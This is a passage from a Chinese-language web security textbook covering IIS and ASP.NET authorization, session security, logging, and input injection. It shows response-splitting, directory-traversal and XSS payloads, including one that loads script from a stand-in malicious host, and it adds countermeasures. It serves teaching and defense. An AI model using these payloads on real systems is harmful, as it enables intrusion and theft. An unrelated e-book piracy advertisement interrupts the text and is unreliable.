从IIS 7开始，Microsoft在标准的Windows文件系统权限界面下统一了IIS文件授权设置。而且，他们统一了IIS_IUSRS组的标准权限，这个组现在是运行于任何应用池中的应用访问资源的默认标识。要配置IIS下Web目录和文件的访问控制，打开IIS管理器工具（开始|运行|inetmgr），找到你希望加强安全的网站、应用或者虚拟目录，右键点击Edit Permissions（编辑权限）……在IIS 7上，这会显示图5-11所示的界面，表明为IIS_IUSRS组应用了内建的默认网站的默认安全性。

图5-11　配置IIS 7目录安全

警告　避免允许Web用户写入内容。如果这么做，不要给用户可写入的目录执行或者脚本权限，以避免上传和执行恶意的代码，这一点尤为重要。

除了文件授权之外，Microsoft还通过web.config文件的system.web/authorization段支持URL授权（在集成管道模式下，IIS 7使用system.web/authorization段）。这个机制非常近似于前面描述的Apache授权机制，使用结构化的文本串定义实体对资源的访问级别。本章结尾处的“参考与延伸阅读”中可以找到关于在各种场景中使用web.config配置授权的教程，包括IIS 7和ASP.NET URL授权行为之间的细微差异。

IP地址授权：尽管我们通常不建议，但是IIS也允许基于IP地址的访问控制。配置可以通过网站的“编辑绑定”功能访问。这在只允许特定地址、子网或者DNS名访问一个管理目录时可能有用。对于面向互联网的应用不鼓励这种做法，因为顺序的请求不能保证来自相同的IP地址，而多个用户可以来自相同的IP地址（想想集团网络就是如此）。

5.5.2　Web授权/访问令牌安全

正如我们在本章中看到的，授权/会话安全可能是个复杂的主题。下面是授权/会话管理技术最佳实践的一个大纲：

·使用SSL。任何包含敏感信息的流量都应该加密以避免嗅探攻击。

·按照RFC 2109，用Set-Cookie响应首部的Secure参数标记cookie。

·不要开发自己的授权。现成的授权功能，例如那些应用平台如ASP.NET和PHP自带的授权机制（我们将很快对此加以讨论），可能比最大的Web应用开发商从头开发的授权机制更多地得到了现实环境的考验。将安全事务交给专家，专注于你的核心业务。你因此遭受的攻击会更少；相信我们。

·不要在令牌中包含个人敏感数据。这么做不仅导致会话劫持（因为这种数据通常不是真正的秘密——有没有试过在Google上寻找某人的家庭地址？），而且如果这些数据泄露，用户失掉的会比随机生成的会话ID更多。攻击者可能盗取他们的官方ID、密码或者其他用于填写令牌的信息。

·在权限改变时重新生成会话ID。大部分Web应用在第一次请求URL时分配会话ID，甚至对匿名用户也这么做。如果用户登录，那么应用应该为用户创建和分派一个新的会话ID。这不仅代表该用户已经验证，而且减少了第一次访问没有通过SSL进行时的窃听攻击。这还能减缓本章前面讨论过的会话完成攻击，在这种攻击中，攻击者到达一个网站并且获得会话ID，然后用电子邮件发给受害者，让他们用攻击者已知的ID登录。

·实施会话时间限制以关闭重放攻击的窗口。在特定的不活跃期（比如10分钟）或者设定的时间（可能是30分钟）之后使状态信息和会话ID无效。除了相对与会话相关的期限之外，我们建议应用设置会话长度的绝对限制，以避免企图在将来修复会话ID的攻击。始终记住：服务器应该使ID或者令牌信息无效；不能依靠客户来完成这一工作。这能保护应用免遭会话重放攻击。

·实施并发登录限制。不允许用户拥有多个并发的已验证会话。这能够避免恶意的用户劫持或者猜测有效的会话ID。

·执行严格的输入校验。cookie名称和值和POST\GET和其他HTTP首部值一样，处于用户的完全控制之下，可以进行修改以包含应用程序不希望的数据。因此，必须在应用服务器上执行cookie值的严格输入校验，确保攻击者不能恶意修改cookie数据，利用安全漏洞。

成为还是模拟？

谈到Web应用授权，最重要的问题之一是：请求将在哪个安全（账户）上下文中运行？答案几乎总是定义了请求所能访问的资源（也就是授权）。下面是用于澄清这个常常被误解的概念的简单背景知识。正如第1章中我们讨论过的，Web应用是面向客户端-服务器的。对于服务器来说，实现客户端请求实际上有两种选项：

·使用服务器自己的身份执行请求（对Web应用来说是Web服务器/守护进程）。

·模拟客户（或者具有相似特权的其他身份）执行请求。在软件术语中，模拟意味着服务器进程生成一个线程，给予它客户的身份（也就是说，将客户的授权令牌连接到新的线程）。这个线程现在可以代替用户访问本地服务器资源，就像本章开始时介绍的简单授权模型。

注意　模拟的线程也可能访问远离第一个服务器的资源；Microsoft称其为委托（Delegation），要求特殊的配置和较高的权限级别。

Web应用使用刚才描述的两种选项，首先取决于Web守护进程的类型和版本，其次取决于请求的是文件系统对象还是启动服务器端执行程序（例如CGI或ISAPI应用）。例如，Microsoft IIS 6以前的版本始终模拟对文件系统对象的访问（不管是使用固定账户如IUSR_机器名，还是客户端指定的已验证账户）。对于可执行程序，默认不进行模拟，但是可以经过配置进行。IIS 6及更新版本上的ASP.NET应用的默认配置不进行模拟——所有请求在Network Service账户的上下文中执行；ASP.NET应用的模拟可以通过system.web/identity impersonate下的machine.config或web.config配置。

Apache不模拟对文件系统对象或者可执行程序的请求，而是在Web守护进程的安全上下文中进行所有工作（但是有一个附加模块可以通过setuid/setgid操作粗略地进行可执行程序的模拟）。

警告　因为Web应用授权几乎完全由Web服务器守护进程调度，所以要特别注意绕过标准授权机制的Web守护进程漏洞，如2001年发现的IIS Unicode和Double Decode问题。

在任何情况下，很明显运行Web服务器、servlet引擎、数据库或者其他应用组件的用户账户的权限应该尽可能少。我们在本章结尾处的“参考与延伸阅读”小节中包含了到多篇论文的链接，这些论文描述了IIS和Apache默认情况下使用的账户，以及配置它们的技术细节。

ASP.NET授权：和许多Microsoft产品一样，IIS是可以组成复杂应用的一堆技术中的一个层次。对于决定采用Microsoft IIS web服务器产品的开发工作，采用他们的Web开发框架是非常实用的，这种框架是活动服务器页面（ASP），因为它集成到Microsoft更广泛的.NET编程系统中，所以现称ASP.NET。

ASP.NET提供一些非常令人信服的授权选项，细节太多无法在此一一说明。我们建议查看本章结尾处的“参考与延伸阅读”小节，理解ASP.NET提供的授权选项。

对于采用ASP.NET的人们，我们还要强调一点：如果你选择在web.config文件的<identity>元素中指定验证/授权凭据，你应该使用Aspnet_regiis.exe工具（对于ASP.NET版本2）或者Aspnet_setreg.exe工具（对于ASP.NET版本1.1）对其加密。关于如何使用这些工具的深入描述可以在本章结尾处的“参考与延伸阅读”中找到。

5.5.3　安全日志

常常被忽视的另一个访问控制措施是安全记录。Web应用的平台应该已经为操作系统和Web服务器生成日志。遗憾的是，这些日志可能不足以识别恶意活动或者重建可疑的事件。许多附加的事件影响用户账户，应该记录跟踪，特别是在处理财务应用时：

·简档修改：记录重大的个人信息如电话号码、地址、信用卡信息及电子邮件地址的重大修改。

·密码修改：记录任何用户密码的修改。

可以选择使用用户最后一个已知完好的电子邮件地址进行通知。（例如，Yahoo！就这么做）。

·修改其他用户：记录管理员对其他人的简档或者密码信息的修改。这也可以在其他用户如服务台员工更新用户信息时触发。记录完成修改的账户和被修改的账户。

·添加/删除用户：记录添加到系统以及被删除的用户。

应用应该记录尽可能多的细节。当然，记录的信息总量和种类之间必须有个平衡。最少，应该记录用于识别请求来源的用户信息。这种信息包含源IP地址、用户名和其他身份令牌、事件发生的日期和时间。

记录改变的实际值可能不是个好主意。日志应该已经具有高度的安全性，以便维护其完整性，如果日志包含社会保险号码、信用卡号码和其他高度敏感的个人或者公司信息，它们就有遭到内部和外部威胁侵害的风险。在某些情况下，在日志中存储个人可识别信息（PII）如地址、财务数据和健康信息可能违反本地或者国家法规，或者违反了行业规章。任何时候日志文件中存储了这类数据，都应该小心研究和理解可以存储和不能存储的内容，存储数据的时长，以及所需的保护级别。

5.6　小结

本章中，你了解了大量基于服务器端ACL和授权/会话令牌（现成的或者定制开发的）的典型Web应用授权模型，这些模型都容易遭到各种常见攻击。蹩脚的ACL和令牌很容易使用常见的技术挫败，这些技术包括绕过、重放、欺骗、修复，或者反过来操纵授权控制以假冒其他用户（包括管理员）。我们还描述了多个案例研究，阐述了这些技术如何组合起来在多个级别上破坏Web应用授权。最后，我们讨论了Web管理员和开发人员可以用来对抗本章描述的基本攻击技术的工具集，以及更广泛的能够帮助加固典型Web应用整体安全态势的“纵深防御”策略。

5.7　参考与延伸阅读

第6章　输入注入攻击

输入校验是Web应用防御的第一道防线。许多漏洞如SQL注入、HTML注入（及其子集跨站脚本）以及详细错误信息都是建立在攻击者向应用注入某种类型的意外或者恶意的输入的基础之上。正确实施的输入校验例程确保了数据处于应用所需要的格式、类型、长度和范围。没有这些检查，应用及其信息的机密性、完整性和可用性就存在风险。想象一下应用的发货地址表单的邮政编码域。没有有效的邮政编码，邮政服务就不能很快地分发邮件。我们知道邮政编码应该仅由数字组成。我们也知道它的长度至少为5位数字，还可以选择5位数字、连字号和附加的4位数字（ZIP plus 4）组成总共10个字符，因此第一个校验例程应该是长度检查。输入是否包含5或10个字符？第二个检查是数据类型。输入是否包含非数字的字符？如果长度为5，那么应该只包含数字。如果长度为10，应该有9个数字，在第5和第6个字符中间有个连字号。这种邮政编码格式的校验将包括确保没有数字之外的字符存在——唯一的例外是第6个位置上的连字号。为了检查输入的范围，我们将校验每个数字是0~9。

因为我们使用的代码集有限，所以可以再增加一个检查，从zip4.usps.com查询已知有效邮政编码的列表，或者列表的离线副本如文本文件或者数据库。这个检查确保了输入在有效的邮政编码集之内，成为更加强大的输入验证形式。例如，12345是属于纽约通用电气公司的有效邮政编码。他们经常收到地址为Santa Claus，North Pole 12345的邮件。但是，00000不是有效的邮政编码；尽管它通过了类型、格式和长度检查，还应该进行这种额外的检查，确定其有效性。本章关注于信任用户提供数据所带来的危险，以及应用不能正确地限制所期望数据类型时可能遭到的攻击。

数据校验可能很复杂，但是它是应用安全的重要基础。应用编程人员必须训练对用户可能输入到表单域中的值的预见性。我们刚刚讨论了如何对邮政编码进行类型、长度、格式和范围检查。这些测试可以以JavaScript编程，放在HTML页面中，通过SSL提供。JavaScript解决方案乍一看很简单，但是仍然是开发人员所犯的最大错误之一。你在接下来的小节中将会看到，客户端输入校验例程可能被绕过，SSL仅能保护Web事务的机密性。换句话说，你不能信任Web浏览器进行所期望的安全检查，加密连接（通过SSL）对提交到应用的数据内容也没有影响。

6.1　预料到意外情况

输入校验的最大失败之一是以JavaScript编写例程，并将它们放置在浏览器中。一开始，使用客户端脚本语言编写校验例程似乎是可取的，因为处理不需要在服务器上执行。客户端过滤器的实现很简单，而且广泛受到Web浏览器的支持（但是个别浏览器的怪癖仍然让开发人员头痛）。最重要的是，它们将许多处理从Web服务器移到了最终用户的系统，这对于应用来说确实得不偿失。Web浏览器是不可信任、不可控制的环境，因为来往于浏览器的所有数据可以在传输中被修改，而不用顾及校验例程。如果性能是个问题，再购买一台Web服务器硬件来处理额外的服务器端校验过程比起等着恶意用户用简单的%0a参数危害应用要经济得多。

针对校验例程的攻击可能瞄准应用的不同方面。理解攻击者如何利用不能胜任的校验例程很重要。这些威胁远远超出“垃圾数据”的错误。

·数据存储：这包括用于SQL注入攻击的字符。这些字符可能用于重写数据库查询，这样就可以为攻击者执行一次自定义操作。错误可能仅仅简单地泄露用于应用中的编程语言，也可能是详细的从应用发送到数据库的原始SQL查询。

·其他用户：这包括跨站脚本和其他与“钓鱼”相关的攻击。攻击者可能提交数据重写HTML，从未起疑心的用户那里窃取信息，或者误导用户泄露敏感信息。

·Web服务器主机：这些攻击可能专门针对操作系统，比如插入一个分号在Unix Web服务器上运行任意命令。应用可能打算在Web服务器上执行一条命令，但是受到欺骗而通过使用特殊字符执行了另一条命令。

·应用内容：攻击者可能生成泄露关于应用编程语言的信息的错误。其他攻击可能绕过浏览器读取的文件类型上的限制。例如，许多版本的Nimda蠕虫使用斜杠字符（用于分隔目录）的替代编码绕过用于避免用户请求Web文档根目录之外的文件的IIS安全检查。

·服务器缓冲区溢出：溢出攻击多年来折磨着各种程序，Web应用也不例外。这种攻击包括传递极大的输出给应用，最终扩展到超过分配的内存空间，从而污染内存中的其他区域。结果可能是应用程序崩溃，或者在提供特殊制作的输入时，导致运行提供的任意代码。缓冲区溢出一般对于编译语言如C和C++来说，比Perl和Python这样的解释型语言更令人担心。基于.NET和Java的Web平台的特性使得应用层缓冲区溢出非常困难，因为它们不允许编程人员直接处理栈和堆的分配（这是缓冲区溢出的用武之地）。缓冲区溢出将更有可能存在于语言平台。

·获得任意数据访问：用户可能访问对等用户的数据，例如一个顾客能够看到另一个顾客的订单信息。用户还可能访问特权数据，例如匿名用户能够列举、创建或者删除用户。数据访问也适用于受限的文件或者应用的管理区域。

6.2　何处寻找攻击目标

每个GET和POST参数都是输入校验攻击的潜在目标。不管参数值是存在于FORM数据或者应用生成的，修改这些参数都很简单。最简单的攻击点是表单中的输入域。常见的域有登录名、密码、地址、电话号码、信用卡号和搜索。其他使用下拉菜单的域也不应该忽视。第一步是列举这些域及大概的输入类型。

不要受到误导，认为输入校验攻击只能针对用户必须完成的域。GET或POST请求中的每个变量都可能遭到攻击。攻击目标可以通过进行应用的深入爬行来识别，这种爬行同时编写文件、参数和表单域的目录，通常使用自动化工具完成。

cookie值是另一个目标。cookie包含的值绝不是为了让用户操纵的，但是它们仍然能够被注入，以执行SQL注入或者其他注入攻击。

cookie只是HTTP首部的一个特例。实际上，任何HTTP首部都是输入校验攻击的一个方向。另一个针对HTTP首部攻击的例子包括HTTP响应截断，合法的响应被过早地缩短，以便注入一组定制的首部（通常是cookies或者cache-control，这两个首部对客户端的破坏力最大）。

让我们更仔细地审视HTTP响应截断。这种攻击针对使用参数表示重定位的应用，例如，下面是一个可能遭受攻击的URL：

http://website/redirect.cgi?page=http://website/welcome.cgi

好的输入校验例程会确保Page参数包含有效的URL。但是如果可以包含任意的字符，参数可能被重写成下面的样子：

http://website/redirect.cgi?page=0d%0aContent-Type:%20text/html%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a%3chtml%3eHello，world!%3c/html%3e

Page的原值已经被一系列模拟来自Web服务器的HTTP响应首部并且包含简单的HTML字符串“Hello，world！”的字符代替。将这一恶意载荷中的编码字符替换掉更容易理解：

Content-Type: text/html
HTTP/1.1 200 OK
Content-Type: text/html
<html>Hello, world!</html>

最终结果是Web浏览器显示篡改的HTML内容而不是预期的重定向HTML内容。这个例子似乎无害，但是恶意攻击可以包含JavaScript或者对用户密码、社会保险号码、信用卡信息或者其他敏感信息的请求。这个例子的重点不在于如何创建有效的仿冒攻击，而是阐述如何操纵参数内容，产生意料之外的效果。

6.3　绕过客户端校验例程

如果你的应用输入校验措施可以总结为一个词——JavaScript，那么应用就不像你所想的那么安全。客户端JavaScript总是可能被绕过。有些个人代理、个人防火墙和cookie管理软件兜售去除网站弹出式横幅或者其他扰人的组件的能力。许多计算机专家（偏执狂？）完全关闭JavaScript以避免最新的邮件病毒。简而言之，有许多合法的理由和简单的方法可以让互联网用户禁用JavaScript。

当然，禁用JavaScript可能削弱大部分Web应用。幸运的是，有许多工具能帮助我们犹如外科手术般地删除JavaScript或者在JavaScript检查执行之后提交内容，这使我们能够绕过客户端输入校验。使用本地的代理例如Burp，我们可以在GET或者POST发送到服务器之前控制它。这样，我们可以在浏览器里输入通过验证要求的数据，然后在将其发送到服务器之前再修改代理中的任何数值。

6.4　常见输入注入攻击

我们来研究一些常见的输入校验攻击载荷。尽管许多攻击只是将垃圾字符转储到应用，但另一些载荷包含了特别制作的字符串。

6.4.1　缓冲区溢出

缓冲区溢出在解释型或者高级编程语言编写的应用中出现的可能性比较小。例如，你可能比较难写出容易遭到这种攻击的PHP或者Java应用。但是溢出可能存在于某个语言的内建功能中。最终，把时间花在其他输入校验问题、会话管理和其他Web安全主题上更好一些。当然，如果你的应用由定制的IIS ISAPI过滤器或者定制的Apache模块组成，那么就要测试缓冲区溢出，更有效的可能是引导一次代码安全评审。

为了进行缓冲区溢出攻击，你只要向输入域转储尽可能多的数据。这是最粗野的攻击，但是返回的应用错误很有用。Perl最适合发动这种类型的攻击。一条指令就可以创建攻击一个参数所需要的任意长度：

$ perl -e 'print "a" x 500'
aaaaaaa...repeated 500 times

你可以创建一个Perl脚本建立HTTP请求（使用LWP模块），或者通过netcat转储输出。代替正常的参数提交，在反短斜线（backticks）中封装一个Perl代码行来替换参数。下面是正常的请求：

$ echo -e "GET /login.php?user=faustus\nHTTP/1.0\n\n" | \
nc -vv website 80

下面是从命令行调用Perl的缓冲区测试：

$ echo -e "GET /login.php?user=\
> 'perl -e 'print "a" x 500''\nHTTP/1.0\n\n" | \
nc -vv website 80

上述命令发送了一个500个“a”组成的字符串作为user值发送给login.php文件。这种Perl花招可以用于Unix（或者Cygwin）命令行的任何地方。例如，将这种技术与cURL程序组合，可以减少处理SSL的问题：

$ curl https://website/login.php?user='perl -e 'print "a" x 500''

在你尝试用不同载荷和不同长度进行缓冲区溢出测试时，目标应用可能返回不同的错误。这些错误可能都是“密码错误”，但是有些错误可能指出了user参数的边界条件。缓冲区溢出测试的经验法则是遵循基本的差异分析或者异常检测：

1.向应用发送常规的请求，记录服务器响应。

2.向应用发送第一个缓冲区溢出测试，记录服务器响应。

3.发送下一个缓冲区，记录服务器响应。

4.必要时重复步骤3。

每当服务器的响应与“常规”请求不同时，检查变化的内容，这能帮助你跟踪特定的产生错误的载荷（例如URL上的7809个斜杠可以接受，但是7810个不行）。在某些情况下，缓冲区溢出攻击使攻击者能够在服务器上执行任意命令。这种任务第一次较难完成，但是很容易复制。换句话说，需要老练的安全审计才能找到漏洞并创建一个攻击，但是不老练的攻击者可以下载和运行预先制作的攻击。

注意　大部分时候这些缓冲区溢出攻击是“盲目”进行的。没有访问到应用连接调试程序或者查看日志或者系统信息，制作一个导致系统命令执行的缓冲区溢出攻击是非常困难的。例如，如果没有用于测试的对系统的完全访问权，就无法导致IIS上FrontPage服务扩展溢出。

读累了记得休息一会哦~

公众号：古德猫宁李

电子书搜索下载

书单分享

书友学习交流

网站：沉金书屋 https://www.chenjin5.com

电子书搜索下载

电子书打包资源分享

学习资源分享

6.4.2　规范化攻击

这些攻击针对使用模板文件或者引用Web服务器上的替代文件的页面（dot-dot-slash）。攻击的基本形式是转移到Web文档根目录之外，以便访问系统文件，也就是“../../../../../../../../../boot.ini”。实际的服务器例如IIS和Apache在正常情况下都所能阻止这种攻击。IIS成为这种问题的受害者是因为在解码URL代码和执行目录遍历安全检查中的逻辑错误。IIS过剩解码（..%255c..）和IIS Unicode目录遍历（..%c0%af..）漏洞是两个著名的例子。关于这些漏洞的更多信息可在Microsoft的网站http://www.microsoft.com/technet/security/bulletin/MS01-026.mspx和http://www.microsoft.com/technet/security/bulletin/MS00-078.mspx上看到。

Web应用的安全总是取决于最弱的一环。即使是一个健壮的Web服务器也会因为不安全的应用而崩溃。规范化攻击的最大受害者是使用来自服务器的模板或者解析文件的应用。如果这种应用不限制应该查看的文件类型，Web文档根目录之外的文件就成为猎物。这种类型的功能明显来自于URL，不限于任何编程语言或者Web服务器：

/menu.asp?dimlDisplayer=menu.html
/webacc?User.html=login.htt
/SWEditServlet?station_path=Z&publication_id=2043&template=login.tem
/Getfile.asp?/scripts/Client/login.js
/includes/printable.asp?Link=customers/overview.htm

这种技术在Web应用不校验请求文件的位置和内容的时候能取得成功。例如，Novell的基于Web的Groupwise应用的登录页面URL的一部分是/servlet/webacc?User.html=login.htt。这种应用会遭到操纵User.html参数的攻击：

/servlet/webacc?User.html=../../../WebAccess/webacc.cfg%00

这种目录遍历将我们带到Web文档根目录之外的配置目录中。突然间，登录页面成了目标Web服务器的一扇窗户——我们甚至不需要登录！

提示　许多嵌入式设备、媒体服务器和其他连接到互联网的设备都具有基本的Web服务器——看看许多家庭网络用的路由器和无限访问点。在面对这种服务器时，始终可以在URL上尝试简单的目录遍历，看看会发生什么。安全性往往屈服于应用的大小和性能！

高级目录遍历

我们更仔细地看看Groupwise的例子。正常的HTTP请求返回login.htm的HTML内容。

<HTML>
<HEAD>
<TITLE>GroupWise WebAccess Login</TITLE>
</HEAD>
<!login.htm>
..remainder of page truncated...

第一声警报是webacc servlet以一个HTML文件（login.htt）作为参数，因为它暗示着应用装入和显示提供给User.html参数的文件。如果User.html参数接收一个不存在的文件，那么我们可以预期发生某种类型的错误，这些错误很可能给我们提供一些有用的信息。URL中一个攻击示例http://website/servlet/webacc?user.html=nosuchfile生成如下的响应：

File does not exist:
c:\Novell\java\servlets\com\novell\webaccess\
templates/nosuchfile/login.htt
Cannot load file:
c:\Novell\java\servlets\com\novell\webaccess\
templates/nosuchfile/login.htt.

这个错误泄露了应用的完整安装路径。而且，我们发现默认情况下login.htt文件附加到user.html参数指定的目录后。这是很有意义的，因为如果user.html参数没有传递，应用需要一个默认的模板。但是，login.htt文件妨碍了合适的目录遍历攻击。为了避开它，我们尝试了用于对付Web应用的一个老招数：空字符串。例如：

http://website/servlet/webacc?user.html=../../../../../../../boot.ini%00

[boot loader]

timeout=30

default=multi(0)disk(0)rdisk(0)partition(5)\WINNT[operating systems]

multi(0)disk(0)rdisk(0)partition(5)\WINNT="Win2K"/fastdetect

C:\BOOTSECT.BSD="OpenBSD"

C:\BOOTSECT.LNX="Linux"

C:\CMDCONS\BOOTSECT.DAT="Recovery Console"/cmdcons

注意，尽管应用在user.html参数值后附加login.htt，我们还是成功地得到了Windows boot.ini文件。窍门在于在user.html参数值后加上了%00。%00是空字符的URL编码表现，与字符串变量一起使用时，在C这样的编程语言里有非常特殊的意义。在C语言里，字符串是任意长度的字符数组。为了让程序知道字符串结束的地方，读取字符直到遇到一个特殊的字符——空字符时结束。因此，Web服务器将把原始的参数传递给user.html参数，包括%00。当servlet引擎解释这个参数时，仍然附加login.htt，使整个参数字符串变成：

../../../../../../../boot.ini%00login.htt

像Perl这样的编程语言实际上接受字符串中有空字符，不将它们当作分隔符。但是，操作系统是以C语言编写的（混合了C++）。当Perl或Java语言必须与操作系统上的文件交互时，它必须与一个函数交互，这很可能是以C语言编写的。尽管Perl或Java语言中的字符串可以包含空字符，但是操作系统函数将读取字符串中到空字符为止的所有字符，这意味着login.htt被忽略。Web服务器将%xx序列解码为16进制值。因此，%00字符串首先被Web服务器转换为空字符，然后传递给应用代码（这里是Perl），应用接受空字符为参数值的一部分。

提示　使用Unicode的替代字符编码也给编程语言带来了挑战。IIS过剩解码漏洞就是以使用替代Unicode编码表示斜杠字符为基础的。

强制应用访问任意文件有时候可能采用比%00更多的手法。下面是其他一些技术。

·../../file.asp%00.jpg：应用完成需要图像后缀（.jpg或者.gif）的基本名校验。

·../../file.asp%0a：换行符的作用类似空字符。这在输入过滤器剥离%00字符，但是没有去掉其他恶意载荷的情况下可能有用。

·/valid_dir/../../../file.asp：应用完成文件来源的基本名校验。文件必须在有效的目录中。当然，如果没有删掉目录遍历字符，你就可以轻松地离开该目录。

·valid_file.asp../../../../file.asp：应用完成文件之上的名校验，但是只进行文件名的部分匹配。

·%2e%2e%2f%2e%2e%2ffi le.asp（../../file.asp）：应用在参数进行URL解码之前进行名校验，或者应用的名称校验例程较弱并且不能处理URL编码的字符。

无目录列表导航

规范化攻击允许Web文档根目录内外的目录遍历。不幸的是，它们很少提供生成目录列表的能力——没有地图的地形研究很困难！但是，有一些技巧能够简化文件的列举。第一种手法是找出实际根目录开始的位置，也就是Windows系统上的驱动器号和Unix系统上的根（“/”）目录。IIS中这项工作稍稍容易一些，因为最上级目录默认情况下是“InetPub”。例如，通过持续地添加目录遍历直到成功地获得目标HTML文件，在IIS主机上寻找根目录（驱动器号）。下面是跟踪目标应用根目录的default.asp文件的一个简短示例：

Sent: /includes/printable.asp?Link=../inetpub/wwwroot/default.asp
Return: Microsoft VBScript runtime error '800a0046'
File not found
/includes/printable.asp, line 10
Sent: /includes/printable.asp?Link=../../inetpub/wwwroot/default.asp
Return: Microsoft VBScript runtime error '800a0046'
File not found
/includes/printable.asp, line 10
Sent: /includes/printable.asp?Link=../../../inetpub/wwwroot/
default.asp
Return: Microsoft VBScript runtime error '800a0046'
File not found
/includes/printable.asp, line 10
Sent: /includes/printable.asp?Link=../../../../inetpub/wwwroot/
default.asp
Return: Microsoft VBScript runtime error '800a0046'
...source code of default.asp returned!...

当一个简单的../../../../../../../../../../就能满足需要的时候，费尽心机地寻求目录遍历的精确数量就显得书生气了。但是，在你做出判断之前，仔细地审视转义字符的数量。在printable.asp文件转储源代码之前，必须有4次目录遍历。如果我们假定完整的路径是/inetpub/wwwroot/includes/printable.asp，那么我们应该转移到上三级目录。额外的一个遍历步骤所指的是/includes目录被映射到驱动器上的其他地方，或者链接文件的默认位置在其他地方。

注意　我们找到的printable.asp文件容易遭到这种攻击，是因为这个文件没有执行输入校验。从该文件的这行代码中很容易看出来：Link="D:\Site server\data\publishing\documents\"&Request.QueryString（"Link"）。注意这里的目录深度是多少。

错误代码也能帮助我们列举目录。我们使用“Path not found”（路径未找到）或者“Permission denied”（权限被拒绝）这样的信息追查存在于Web服务器之上的目录。回到前一个示例，我们将使用printable.asp列举目录：

Sent: /includes/printable.asp?Link=../../../../inetpub
Return: Micosoft VBScript runtime error '800a0046'
Permission denied
/includes/printable.asp, line 10
Sent: /includes/printable.asp?Link=../../../../inetpub/borkbork
Return: Micosoft VBScript runtime error '800a0046'
Path not found
/includes/printable.asp, line 10
Sent: /includes/printable.asp?Link=../../data
Return: Micosoft VBScript runtime error '800a0046'
Permission denied
/includes/printable.asp, line 10
Sent: /includes/printable.asp?Link=../../../../Program%20Files/
Return: Micosoft VBScript runtime error '800a0046'
Permission denied
/includes/printable.asp, line 10

这些结果告诉我们有可能区分Web服务器上存在和不存在的文件或者目录。我们证实/inetpub和“Program Files”目录存在，但是错误信息表明，Web应用对它们没有读访问权限。如果/inetpub/borkbork目录返回“权限拒绝”错误，那么这种技术就已经失败，因为我们没有办法区分真正的目录（Program Files）和不存在的目录（borkbork）。我们在列举阶段还发现了一个数据目录。这个目录指向printables.asp文件的神秘路径（D:\Site server\data\publishing\documents\）中。

下面是列举文件步骤的总结：

1.检查错误代码。确定应用对于不存在的文件、不存在的目录、存在的文件（但是可能读访问被拒绝）以及存在的目录是否返回不同的错误。

2.查找根目录。添加目录遍历字符，直到可以确定驱动器号或者根目录开始的地方。

3.在Web文档根目录中列举。Web文档根目录中的文件很容易列举。你应该在第一次研究应用时就列出了大部分文件。这些文件很容易寻找，因为它们是已知的。

4.寻找常见目录。查找临时目录（/temp、/tmp、/var）、程序目录（/Program Files、/winnt、/bin、/usr/bin）和流行的目录（/home、/etc、/downloads、/backup）。

5.尝试访问目录名称。如果应用对该目录有访问权，就会列出目录内容。这使得目录列举很简单！

注意　好的Web应用测试人员的笔记本应该包括Web服务器相关的常见程序的递归目录列表。拥有目录和配置文件的参考大大地提高了目录遍历攻击的成功率。应用列表应该包含Lotus Domino、Microsoft Site Server和Apache Tomcat这样的程序。

规范化攻击对策

对于规范化攻击最好的防御是从GET和POST中删除所有的点（.）。解析引擎也应该捕捉Unicode和16进制中对点的表现。

强制所有读取操作发生自特定的目录，应用删除与其文件名之前的所有路径信息的正则表达式过滤器。例如，将/path1/path2/./path3/file缩短为/file。

加强文件系统权限安全也能缓解这种攻击。首先，将Web服务器作为最低权限的用户运行：在Unix系统上创建“nobody”账户或者在Windows系统上创建具有运行应用所需最小权限的服务账户（为ASP.NET应用创建服务账户的方法参见“参考与延伸阅读”小节）。限制Web服务器账户，使其只能从与Web应用相关的目录中读取文件。

将敏感文件例如包含文件（*.inc）从文档根目录移出到具有合适访问控制的一个目录，确保匿名的互联网用户不能直接访问包含敏感文件的目录，只有具备合适授权的用户能够得到权限。这缓解了目录遍历攻击，使其只限于查看文档根目录中的文件。服务器和特权用户仍然能够访问这些文件，但是用户无法读取。

6.4.3　HTML注入

脚本攻击包含任何向应用提交HTML格式字符串，然后呈现这些标记的方法。最简单的脚本攻击包括在表单域中输入<script>标记。如果这个域中用户提交的内容被重新显示，浏览器将把内容解释为JavaScript指令而不是显示字面上的<script>。这种攻击的实际目标是查看恶意内容并且沦为社会工程攻击猎物的其他应用用户。

这种攻击有两个先决条件。首先，应用必须接受用户输入。这似乎显而易见；但是，输入并不一定来自表单域。我们将列出一些可以在URL上测试的方法，但是首部和cookie也是有效的目标。其次，应用必须重显用户输入。这种攻击在应用呈现数据时发生，数据变成了Web浏览器解释的HTML标记。

跨站脚本（XSS）

跨站脚本攻击在其他用户查看的地方放置恶意代码，通常是JavaScript。表单中的目标域可以是地址、公告牌评论等。恶意代码通常窃取cookie，这使攻击者可以仿冒受害者或者进行社会工程攻击，哄骗受害者泄露其密码。这种社会工程攻击已经祸及Hotmail、Gmail和AOL。

本书不打算成为关于操纵浏览器漏洞的JavaScript或者超强技术的专著。下面有三种方法，如果成功，就说明应用容易遭到攻击：

<script>document.write(document.cookie)</script>
<script>alert('Salut!')</script>
<script src="http://www.malicious-host.foo/badscript.js"></script>

注意，最后一行从完全不同的服务器上调用JavaScript。这种技术避开了大部分的长度限制，因为badscript.js文件可以为任意的长度，而引用相对简短。除了混淆的层次之外，URL简写服务有时候可以用于进一步缩短字符串的长度。很容易对表单进行这些测试，只要在任何将被重显的域中尝试这些字符串就行了。例如，许多电子商务应用在输入地址之后显示一个校验页面。在街道名中输入<script>标记看看会发生什么。

还有其他进行XSS攻击的方式。前面我们已经暗示过，应用的搜索引擎是XSS攻击的主要目标。在搜索域中输入载荷，或者直接将其提交给URL：

http://www.website.com/search.pl?qu=<script>alert('foo')</alert>

我们已经发现错误页面常常是XSS攻击的目标。例如，一个普通应用错误的URL如下：

http://www.website.com/errors.asp?Error=Invalid%20password

这显示一个自定义访问拒绝页面如“Invalid password”（无效密码）。URL上的字符串反映出页面内容是XSS漏洞的重大征兆。可以这样创建攻击：

http://www.website.com/errors.asp?Error=<script%20src=...

也就是说，将脚本标记放在URL上，最终返回到浏览器执行。

利用执行任意脚本代码的能力，对最终用户进行广泛的一系列攻击是有可能的。现代浏览器漏洞利用框架使攻击者能够很容易地在XSS的受害者上使用预先制作的攻击模块，进行击键记录、分布式端口扫描、检测Tor网络或者执行其他浏览器功能。甚至存在对集成Metasploit攻击Internet Explorer或者进行Firefox插件攻击的支持。浏览器漏洞利用框架的进一步信息可以在本章结尾处的“参考与延伸阅读”小节中找到。

嵌入脚本

